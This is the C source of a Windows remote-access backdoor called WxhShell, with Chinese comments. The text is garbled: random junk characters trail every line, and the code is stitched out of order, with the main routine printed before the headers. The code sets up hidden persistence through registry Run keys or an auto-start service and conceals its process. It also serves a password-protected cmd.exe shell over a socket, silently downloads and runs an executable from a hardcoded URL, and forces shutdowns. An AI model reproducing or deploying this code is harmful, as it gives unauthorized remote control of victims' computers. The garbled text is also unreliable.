  case 'd': {  |Hx#Uk#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SO @d\H  
    if(Boot(SHUTDOWN)) n@|5PI"bx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @h7)M:l  
    else { D$@5$./  
    closesocket(wsh); qF'lh  
    ExitThread(0); oGt,^!V1  
    } c\A 4-08  
    break; \PReQ|[ah  
    } {Tx"G9  
  // 获取shell U; -2)+  
  case 's': { !\|_,pSB  
    CmdShell(wsh); >NLG"[\  
    closesocket(wsh); rlxZ,]ul  
    ExitThread(0); w5fVug/;P  
    break; hOFC8g  
  } O0^m_  
  // 退出 )Fk*'6  
  case 'x': { 9o%k [n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e1cqzhI=nA  
    CloseIt(wsh); e}lF#$  
    break; tVfZ~q J  
    } ) uM*`%  
  // 离开 eX)'C>4W  
  case 'q': { u}I-#j)wap  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {A^3<=|  
    closesocket(wsh); wwh1aV *  
    WSACleanup(); NM FgCL  
    exit(1); T.bn~Z#f  
    break; xB5qX7*.  
        } p>#sR4d>  
  } Q1kZ+b&  
  } (\8IgQ{  
(KG2X  
  // 提示信息 To/6=$wto  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x%h4'Sm  
} i~Qnw-^B  
  } |L9p.q  
v 9k\[E?  
  return; _2Zc?*4  
} ?+)>JvWDz  
p : {,~ 1  
// shell模块句柄 :m]KVcF.  
int CmdShell(SOCKET sock) ql/K$#u  
{ Ms<v81z5T  
STARTUPINFO si; J:Mn 5hdK=  
ZeroMemory(&si,sizeof(si)); >c`r&W.t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h2jrO9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pyUzHF0  
PROCESS_INFORMATION ProcessInfo; Fs$mLa  
char cmdline[]="cmd"; *@;bWUJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P5Bva  
  return 0; G*s5GG@Z.  
} SI`ems{1>c  
H 0( .p'eN  
// 自身启动模式 ^O0trM>h-  
int StartFromService(void) @`mr|-Rp@  
{ J]W? V vv  
typedef struct hZIbN9)8A  
{ L;\f^v(  
  DWORD ExitStatus; ]ZR}Pm/CA  
  DWORD PebBaseAddress; v[~~q  
  DWORD AffinityMask; U8S<wf&  
  DWORD BasePriority; t $m:  
  ULONG UniqueProcessId; `}:pUf  
  ULONG InheritedFromUniqueProcessId;  "tT68  
}   PROCESS_BASIC_INFORMATION; -6W$@,K  
P(o GNKAS  
PROCNTQSIP NtQueryInformationProcess; 4V<.:.k  
9y'To JZ6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _|r/* (hh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y sDai<  
%y)]Q|  
  HANDLE             hProcess;  sWyx_  
  PROCESS_BASIC_INFORMATION pbi; F4NM q&_  
B/Js>R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7Y?59 [  
  if(NULL == hInst ) return 0; ZAJ~Tbm[f  
kfY. 9$(d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xLdkeuL[%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lb{X6_.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !c"EgP+  
#.<Dq8u  
  if (!NtQueryInformationProcess) return 0; -G[TlH06  
Xv+!) j<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QVF561Yz  
  if(!hProcess) return 0; 3qQ}U}-;|  
_RNP_$a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Py`7)S  
<S^Hy&MD>  
  CloseHandle(hProcess); ux8K$$$  
o)wOXF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1@t8i?:h  
if(hProcess==NULL) return 0; v4]#Nc$~T  
),>whCtsI  
HMODULE hMod; /hur6yI8  
char procName[255]; }ssP%c]  
unsigned long cbNeeded; W K(GR\@  
vL#I+_ 2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @.,Mn#  
ba tXj]:  
  CloseHandle(hProcess); >u\'k +=  
,Yn$X  
if(strstr(procName,"services")) return 1; // 以服务启动 >Qqxn*O  
!'C8sNs  
  return 0; // 注册表启动 n5 <B*  
} ]k$:sX  
4d_Az'7`4  
// 主模块 W!+eJ!Da  
int StartWxhshell(LPSTR lpCmdLine) d(j g "@  
{ [{0/'+;9  
  SOCKET wsl; ;Kh[6{W  
BOOL val=TRUE; 8%`h:fE  
  int port=0; %J+ w9Z  
  struct sockaddr_in door; F0wW3+G  
"yK)9F[9Mo  
  if(wscfg.ws_autoins) Install(); 3!h3flE  
.NJ Ne  
port=atoi(lpCmdLine); RA!8AS?  
cm8co  
if(port<=0) port=wscfg.ws_port; `46|VQAx  
ewdcAF5  
  WSADATA data; _} j6Pw'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?Ld:HE  
Zbr1e5?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e< G[!m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pJ x H  
  door.sin_family = AF_INET; f[*g8p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VVEJE$  
  door.sin_port = htons(port); 5Z(q|nn7P  
?y@;=x!'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y#P _ }Kfo  
closesocket(wsl); E*yot[kj  
return 1; C,8@V`  
} g2vt(Gf;  
mC$ te  
  if(listen(wsl,2) == INVALID_SOCKET) { *l@T 9L[M'  
closesocket(wsl); Odm1;\=Eg+  
return 1; rcf#8  
} VrKLEN\  
  Wxhshell(wsl); MH]?:]K9V  
  WSACleanup(); 'X\C/8\  
DB'3h7T  
return 0; Va4AE)[/*  
-j^G4J  
} _QtW)\)5 \  
V0bKtg1f?-  
// 以NT服务方式启动 !-7<x"avm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >J,IxRGi  
{ bv``PSb3  
DWORD   status = 0; fG<[zt\e  
  DWORD   specificError = 0xfffffff; #%]?e N  
Pk8(2fAYk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mp0s>R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =T$2Qo8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BOl*. t  
  serviceStatus.dwWin32ExitCode     = 0; P#/s5D8  
  serviceStatus.dwServiceSpecificExitCode = 0;  ?QcS$i  
  serviceStatus.dwCheckPoint       = 0; IFXnGDG$  
  serviceStatus.dwWaitHint       = 0; 'h> l_A  
i7?OZh*f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h2aO-y>K  
  if (hServiceStatusHandle==0) return; ?#:!!.I:  
L(/wsw~y*  
status = GetLastError(); m;<5QK8f  
  if (status!=NO_ERROR) "^t;V+Io  
{ R?] S<Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?'$} k  
    serviceStatus.dwCheckPoint       = 0; Ut(BQM>U+$  
    serviceStatus.dwWaitHint       = 0; b:&= W>r  
    serviceStatus.dwWin32ExitCode     = status; >BjZ{7?Ok  
    serviceStatus.dwServiceSpecificExitCode = specificError; hAB:;r XlI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gT|&tTS1@  
    return; ^izf&W.j!  
  } ?`B6I!S0[  
+7t:/_b~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'fIG$tr9X  
  serviceStatus.dwCheckPoint       = 0; =/N0^  
  serviceStatus.dwWaitHint       = 0; =Q8$O 2TW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I -XkxDw  
} ,`(Qs7)Xx  
yiczRex%rq  
// 处理NT服务事件,比如:启动、停止 /j:-GJb*!u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]r1Lr{7^S  
{ Y2>*' nU  
switch(fdwControl) k")3R}mX  
{ )1&,khd/u  
case SERVICE_CONTROL_STOP: SU4~x0  
  serviceStatus.dwWin32ExitCode = 0; z\<gm$1CB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $t>ow~Xi  
  serviceStatus.dwCheckPoint   = 0; rzKn5Z  
  serviceStatus.dwWaitHint     = 0; a@-!,Hi  
  { e)4L}a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jE$]Z(Ab  
  } =l$qwcfbo  
  return; (<yQA. M  
case SERVICE_CONTROL_PAUSE: o&E2ds3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \'x?VVw  
  break; ~ [=2d a  
case SERVICE_CONTROL_CONTINUE: T) cbpkH4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gk"J+uM  
  break; `"|u NVn  
case SERVICE_CONTROL_INTERROGATE: ="[6Z$R  
  break; m6 a @Y<  
}; Va\?"dH>M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LYS[qLpf  
} Q#I?nBin  
O:X|/g0Y  
// 标准应用程序主函数 gd;e-.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }x:nhy`  
{ u=B,i#>s  
_lG\_6oJ,  
// 获取操作系统版本 NZ~"2~Hh  
OsIsNt=GetOsVer(); ,:3Di (  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v&u8Ks  
=A^VzIj(  
  // 从命令行安装 {FM:\/  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6H!"oC&  
]m""ga  
  // 下载执行文件 @33-UP9o  
if(wscfg.ws_downexe) { iLkP@OYgQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CA ,0Fe3  
  WinExec(wscfg.ws_filenam,SW_HIDE); J_ `\}55n  
} B ? D|B  
4N{^niq7  
if(!OsIsNt) { b~m|mb$  
// 如果时win9x,隐藏进程并且设置为注册表启动 %-[U;pJe;  
HideProc(); T8J[B( )L  
StartWxhshell(lpCmdLine); V: ivnx*  
} ,xIWyI.  
else z,=k F I  
  if(StartFromService()) .JL?RH2@8  
  // 以服务方式启动 RLbxNn  
  StartServiceCtrlDispatcher(DispatchTable); @&]%%o+  
else Qtn%h:i S~  
  // 普通方式启动 2aO.t  
  StartWxhshell(lpCmdLine); Hh.l,Z7i7D  
V s1Z$HS`  
return 0; TfqQh!Y  
} NpYzN|W:  
[ f`V_1d3  
vh^,8pPy  
VBI~U?0  
=========================================== fwi( qx1=}  
u:D,\`;)  
J;7O`5J  
g"L$}#iTsl  
fRd^@@,[  
v/WvT!6V`  
" Gd%E337d  
~!W{C_*N  
#include <stdio.h> _8"%nV  
#include <string.h> qU,u(El  
#include <windows.h> 6'qC *r   
#include <winsock2.h> m%km@G$  
#include <winsvc.h> TwXqk>J  
#include <urlmon.h> )F) (Hg  
V3$Yr"rZ;  
#pragma comment (lib, "Ws2_32.lib") IPT\d^|f  
#pragma comment (lib, "urlmon.lib") .`K<Iug1  
|Ptv)D  
#define MAX_USER   100 // 最大客户端连接数 o Kfm=TbY  
#define BUF_SOCK   200 // sock buffer [Dq!t1  
#define KEY_BUFF   255 // 输入 buffer Qtpw0t"  
DZ Q=Sinry  
#define REBOOT     0   // 重启 myeez+@ m  
#define SHUTDOWN   1   // 关机 Th)Z?\8zk  
/<$\)|r  
#define DEF_PORT   5000 // 监听端口 &*N;yW""f  
F"Y.'my8  
#define REG_LEN     16   // 注册表键长度 [<M~6]  
#define SVC_LEN     80   // NT服务名长度 Q)s[ls  
^p 4 33  
// 从dll定义API Q4,!N(>D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !nkjp[p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3@/\j^U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h+7THMI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gK8{=A0c  
zn'F9rWx>  
// wxhshell配置信息 F"<TV&xf  
struct WSCFG { &{c.JDO  
  int ws_port;         // 监听端口 A7qKY-4B  
  char ws_passstr[REG_LEN]; // 口令 .v{ok,&  
  int ws_autoins;       // 安装标记, 1=yes 0=no o1 kY|cnGH  
  char ws_regname[REG_LEN]; // 注册表键名 89[5a  
  char ws_svcname[REG_LEN]; // 服务名 9c@."O`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +bw>9VmG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LJ Aqk2k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hc;8Vsa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RrGFGn{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KK%R3{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;L458fYs  
T!*lTzNHm  
}; 6RLYpQ$+  
S3iXG @  
// default Wxhshell configuration ?(4E le  
struct WSCFG wscfg={DEF_PORT, /RzL,~]  
    "xuhuanlingzhe", ? 2#MU  
    1, (93+b%^[  
    "Wxhshell", eZMDtB  
    "Wxhshell", V6C*d:  
            "WxhShell Service", =x/Ap1  
    "Wrsky Windows CmdShell Service", O:Ixy?b;Z  
    "Please Input Your Password: ", nM1F4G  
  1, =-e` OHA  
  "http://www.wrsky.com/wxhshell.exe", Pu=,L#+FN  
  "Wxhshell.exe" {m )$b  
    }; ""JTU6]MS  
R>iRnrn:-  
// 消息定义模块 tJ NJ S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #~(VOcRI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ? %9-5"U[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AUm"^-@x#>  
char *msg_ws_ext="\n\rExit."; c05kHB$O  
char *msg_ws_end="\n\rQuit."; .BR2pf|R  
char *msg_ws_boot="\n\rReboot..."; ([r4N#lx  
char *msg_ws_poff="\n\rShutdown..."; 8tR(i[L   
char *msg_ws_down="\n\rSave to "; <:mV^tK  
%)$^_4.g  
char *msg_ws_err="\n\rErr!"; i*We kr3Wo  
char *msg_ws_ok="\n\rOK!"; ur,!-t(~t  
{WE1^&Vk-}  
char ExeFile[MAX_PATH]; s^{hdCCl67  
int nUser = 0; 9BJP|L%q  
HANDLE handles[MAX_USER]; LK}Ih@ f  
int OsIsNt; &G)I|mv  
?~vVSY  
SERVICE_STATUS       serviceStatus; Y%FQ]Q=+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 78}QaE  
ZPieL&uV`  
// 函数声明 =o@CCUKpj  
int Install(void); 'edd6yTd  
int Uninstall(void); RpAqnDX)  
int DownloadFile(char *sURL, SOCKET wsh); rfgkw  
int Boot(int flag); l$PSID  
void HideProc(void); ^]&uMkPN  
int GetOsVer(void); )]/gu\90  
int Wxhshell(SOCKET wsl); =z5'A|Wa=,  
void TalkWithClient(void *cs); pO* $ '8L  
int CmdShell(SOCKET sock); D`?=]Ysz(  
int StartFromService(void); F3XB};  
int StartWxhshell(LPSTR lpCmdLine); LyaFWx   
aL9 yNj}2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4$);x/ a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7hs1S|  
J|9kWjOf+i  
// 数据结构和表定义 X0\2qD  
SERVICE_TABLE_ENTRY DispatchTable[] = -bN;nSgb  
{ OT*C7=  
{wscfg.ws_svcname, NTServiceMain}, Z r}5)ZR.  
{NULL, NULL} _.9):i2<SF  
}; x}Y  
|,3>A@  
// 自我安装 TSGJ2u5ie%  
int Install(void) g[Z$\A?ZbZ  
{ uANG_sX^n  
  char svExeFile[MAX_PATH]; jT~PwDSFt3  
  HKEY key; i'w8Li  
  strcpy(svExeFile,ExeFile); .^aakM  
MM}lW-q;  
// 如果是win9x系统,修改注册表设为自启动 *&f^R}O  
if(!OsIsNt) {  kYls jM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0pO{{F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T<hS  
  RegCloseKey(key); s$cr|p;7#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'MM%Sm,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Q~9C9{+  
  RegCloseKey(key); Mbj{C  
  return 0; q#{.8H-X'  
    } vD=>AAvG  
  } Tz\ PQ)!  
} 64)Fz}  
else { laR cEXj  
BB x359  
// 如果是NT以上系统,安装为系统服务 XX85]49`%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BGtr=&Hq  
if (schSCManager!=0) B6N/nCvHK  
{ -C]k YQ  
  SC_HANDLE schService = CreateService #41xzN  
  ( ^#|Sl D]  
  schSCManager, @/MI Oxg[  
  wscfg.ws_svcname, /6=IL  
  wscfg.ws_svcdisp, {|KFgQ'\  
  SERVICE_ALL_ACCESS, V`c"q.8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e\0vphS6  
  SERVICE_AUTO_START, DzfgPY_Py  
  SERVICE_ERROR_NORMAL, #\|Ac*>  
  svExeFile, 6x'F0{U  
  NULL, <Km ^>9  
  NULL, BBV"nm_(/  
  NULL, Ic 5TtN~/>  
  NULL, !2.(iuE  
  NULL \k DQ[4mGq  
  ); N\,[(LbA&  
  if (schService!=0) P3 Wnso  
  { PykVXZ7j;  
  CloseServiceHandle(schService); ;6 ?a8t@  
  CloseServiceHandle(schSCManager); 50s1o{xwc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o1kTB&E4B  
  strcat(svExeFile,wscfg.ws_svcname); IhIz 7.|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %DK0s(*w0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (yx^zW7  
  RegCloseKey(key); wMW."gM|  
  return 0; RP@U0o  
    } /C[Q?  
  } O$qxo &  
  CloseServiceHandle(schSCManager); C+0MzfLgf  
} KKBrw+)AJ  
} B(pxyv)  
f`$F^=  
return 1; J?wCqA  
} h23"<  
TpAE9S  
// 自我卸载 fH@P&SX  
int Uninstall(void) e^LjB/<Th  
{ WE{fu{x  
  HKEY key; XIGz_g;#'w  
H*m3i;"4p\  
if(!OsIsNt) { ~+A(zlYr~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -wh?9 ?W  
  RegDeleteValue(key,wscfg.ws_regname); h SeXxSb:  
  RegCloseKey(key); ?*zDsQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R)@2={fd}  
  RegDeleteValue(key,wscfg.ws_regname); :F |ll?  
  RegCloseKey(key); xU1_L*tu '  
  return 0; |rgp(;iO  
  } 3s]aXz:  
} =bBV A0y  
} NihUCj"  
else { {\WRW}iO  
2;wp D2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g"Tb\  
if (schSCManager!=0) `hl8j\HV<}  
{ kqH:H~sgD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eh39"s  
  if (schService!=0) 0.aIcc  
  { qj7 }]T_  
  if(DeleteService(schService)!=0) { W?F Q  
  CloseServiceHandle(schService); [u $X.=(  
  CloseServiceHandle(schSCManager); dwpE(G y6c  
  return 0; 0h=}BCb+i  
  } WYUel4Z  
  CloseServiceHandle(schService); (GW"iL#.  
  }  [HEljEv  
  CloseServiceHandle(schSCManager); /E39Z*  
} y}F;~H~P  
} ? K,d  
;!+-fn4C  
return 1; mo?*nO|-  
} Ki\\yK  
j|KjQ'9  
// 从指定url下载文件 8.!+Hm4  
int DownloadFile(char *sURL, SOCKET wsh) Ud_7>P$a  
{ I}jem  
  HRESULT hr; ~.<QC<dN  
char seps[]= "/"; kSpy-bVn  
char *token; h6Q~Di  
char *file; *)(S}D\94  
char myURL[MAX_PATH]; -O^R~Q_`w  
char myFILE[MAX_PATH]; 'ti~TG  
q^DQ9B  
strcpy(myURL,sURL); ]#\De73K   
  token=strtok(myURL,seps); : 5X^t  
  while(token!=NULL) kaT  !   
  { N>H#Ew@2U  
    file=token; (KLhF  
  token=strtok(NULL,seps); EzeU-!|W  
  } :O'QL,  
U2Tw_  
GetCurrentDirectory(MAX_PATH,myFILE); ^OOoo2  
strcat(myFILE, "\\"); .6LlkM6[g  
strcat(myFILE, file); _-T^YeQ/  
  send(wsh,myFILE,strlen(myFILE),0); bzXeG;c<7  
send(wsh,"...",3,0); oF~+L3&X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :4r{t?ytXw  
  if(hr==S_OK) <}p]0iA  
return 0; WfXwI 'y  
else G=F_{z\}  
return 1; SajG67  
L)n_  Q  
} TVM19)9  
.0rTk$B  
// 系统电源模块 0j!xv(1  
int Boot(int flag) A"O\u=!  
{ y9N6!M|'y  
  HANDLE hToken; [}=a6Q>)  
  TOKEN_PRIVILEGES tkp; DbSR(:  
l>?f+70  
  if(OsIsNt) { HUChg{[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <L('RgA@X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ' GUCXx  
    tkp.PrivilegeCount = 1; :Xs4C%H;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4wN5x[vp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8 (ot<3(D  
if(flag==REBOOT) { e*y l_iW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FHSFH>  
  return 0; @uz(h'~  
} s f.z(o  
else { lNsdbyV'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  )$GCur~  
  return 0; Cw"[$E'J  
} x_x_TEyyh  
  } w!pj);jy{  
  else { GkIhPn(d  
if(flag==REBOOT) { o`Af6C;Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Qo!F?i/ n  
  return 0; :-WNw n  
} 2q(gWhcj  
else { }4T`)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W ' ~s  
  return 0; ))dw[Xa  
} 1G6 \}El95  
} ilXKJJda  
D~bx'Wr+  
return 1; 2rW9ja  
} w59q* 2  
+\*b?x  
// win9x进程隐藏模块 :7i x`C2  
void HideProc(void) Eyz.^)r  
{ RU=\eD  
nLOK1@,4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _#1EbvO*l  
  if ( hKernel != NULL ) 5 NC77}^.  
  { t Davp:M1v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3:G$Y: #P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m[%':^vSr  
    FreeLibrary(hKernel); ?6\N&MTF  
  } ]imVIu   
(?g+.]Dt,  
return; 4x<H=CJC  
} $)nPj_h  
+V(^ "Z~  
// 获取操作系统版本 c&P/v#U_  
int GetOsVer(void) P*B @it  
{ 2 6DX4  
  OSVERSIONINFO winfo; 8#HnV%|N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jo0XF]  
  GetVersionEx(&winfo); LEOri=?RF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <Y6zJ#BD  
  return 1; `K:n=hpF  
  else ]R>NmjAI  
  return 0; _BY+Tfol  
} 4JU 2x  
XjCx`bX^<  
// 客户端句柄模块 :?j=MV  
int Wxhshell(SOCKET wsl) EJ>rW(s  
{ @/?i|!6  
  SOCKET wsh; zy%0;%  
  struct sockaddr_in client; Q"D5D rj  
  DWORD myID; '&hd^9]Lo  
gaxM#  
  while(nUser<MAX_USER) #t;]s<  
{ xMNQT.A  
  int nSize=sizeof(client); 10h; N[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8V}|(b#  
  if(wsh==INVALID_SOCKET) return 1; ;N(L,  
0%< hj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t)Cf]]dV  
if(handles[nUser]==0) .%)uCLZr$  
  closesocket(wsh); x/CM)!U)  
else hJ]Oa7r  
  nUser++; |/H?\]7  
  } JV@G9PT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3!\h'5{  
9r+'DX?>  
  return 0; Zj-U^6^L  
} |1tpXpe  
ZgG~xl\My  
// 关闭 socket Ynvf;qs  
void CloseIt(SOCKET wsh) N&p0Emg  
{ @8>bp#x/1  
closesocket(wsh); UimofFmI%  
nUser--; ^+CWo@.  
ExitThread(0); Z'j[N4%BK  
} 1KrJS(.  
?T_MP"  
// 客户端请求句柄 m7y[Y  
void TalkWithClient(void *cs) FG[rH]   
{ lct  
YC8IwyL'  
  SOCKET wsh=(SOCKET)cs; lq"X_M$  
  char pwd[SVC_LEN]; - z+,j(@  
  char cmd[KEY_BUFF]; 8U(o@1PT  
char chr[1]; [tof+0Y6  
int i,j; h'};spv  
B~ i  
  while (nUser < MAX_USER) { `7w-_o %  
aVHIU3  
if(wscfg.ws_passstr) { ^~-YS-.J#,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); te2vv]W1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KcpYHWCa.  
  //ZeroMemory(pwd,KEY_BUFF); \u{4=-C.  
      i=0; [.fh2XrVM  
  while(i<SVC_LEN) { "Kp#Lx  
GJZjQH-#P  
  // 设置超时 bY.VNA  
  fd_set FdRead; ZSK_Lux>  
  struct timeval TimeOut; RG'76?z  
  FD_ZERO(&FdRead); (m,H 5  
  FD_SET(wsh,&FdRead); O+|C<;K  
  TimeOut.tv_sec=8; n<j+KD#a  
  TimeOut.tv_usec=0; 6 h#U,G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 18sc|t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5]LWWjT  
5 | ,b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I/tMFg  
  pwd=chr[0]; L55 UeP\  
  if(chr[0]==0xd || chr[0]==0xa) { rkR5>S( 2M  
  pwd=0; 3~tu\TH6d  
  break; i(;`x  
  } h#O9TB  
  i++; |xcI~ X7Q  
    } El5} f4sl  
K2yNI q_  
  // 如果是非法用户,关闭 socket cbyzZ#WRb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M)+pH  
} -)oUb=Lk{  
[,Go*r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }' AY#g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ; $80}TY '  
a24 AmoWx  
while(1) { bg-/ 8,  
.7^(~&5N  
  ZeroMemory(cmd,KEY_BUFF); ]<f(@]R/d  
C$6FI `J  
      // 自动支持客户端 telnet标准   H( i   
  j=0; dREY m}1  
  while(j<KEY_BUFF) { 3r kcIVO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sd\p[MXX  
  cmd[j]=chr[0]; q/U-6A[0  
  if(chr[0]==0xa || chr[0]==0xd) { jW`JThoq  
  cmd[j]=0; *"8Ls0!  
  break; B+`4UfB]Z}  
  } )xyjQ|b  
  j++; %r(WS_%K|  
    } )e?&'wa>  
lUs$I{2_  
  // 下载文件 j0mN4Ny  
  if(strstr(cmd,"http://")) { NUltuM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dJ6fPB|k  
  if(DownloadFile(cmd,wsh)) Yu3S3aRE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g) u%?T  
  else Vz/w.%_g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `2s@O>RV  
  } 4kM/`g6?,q  
  else { f<@!{y 2Xe  
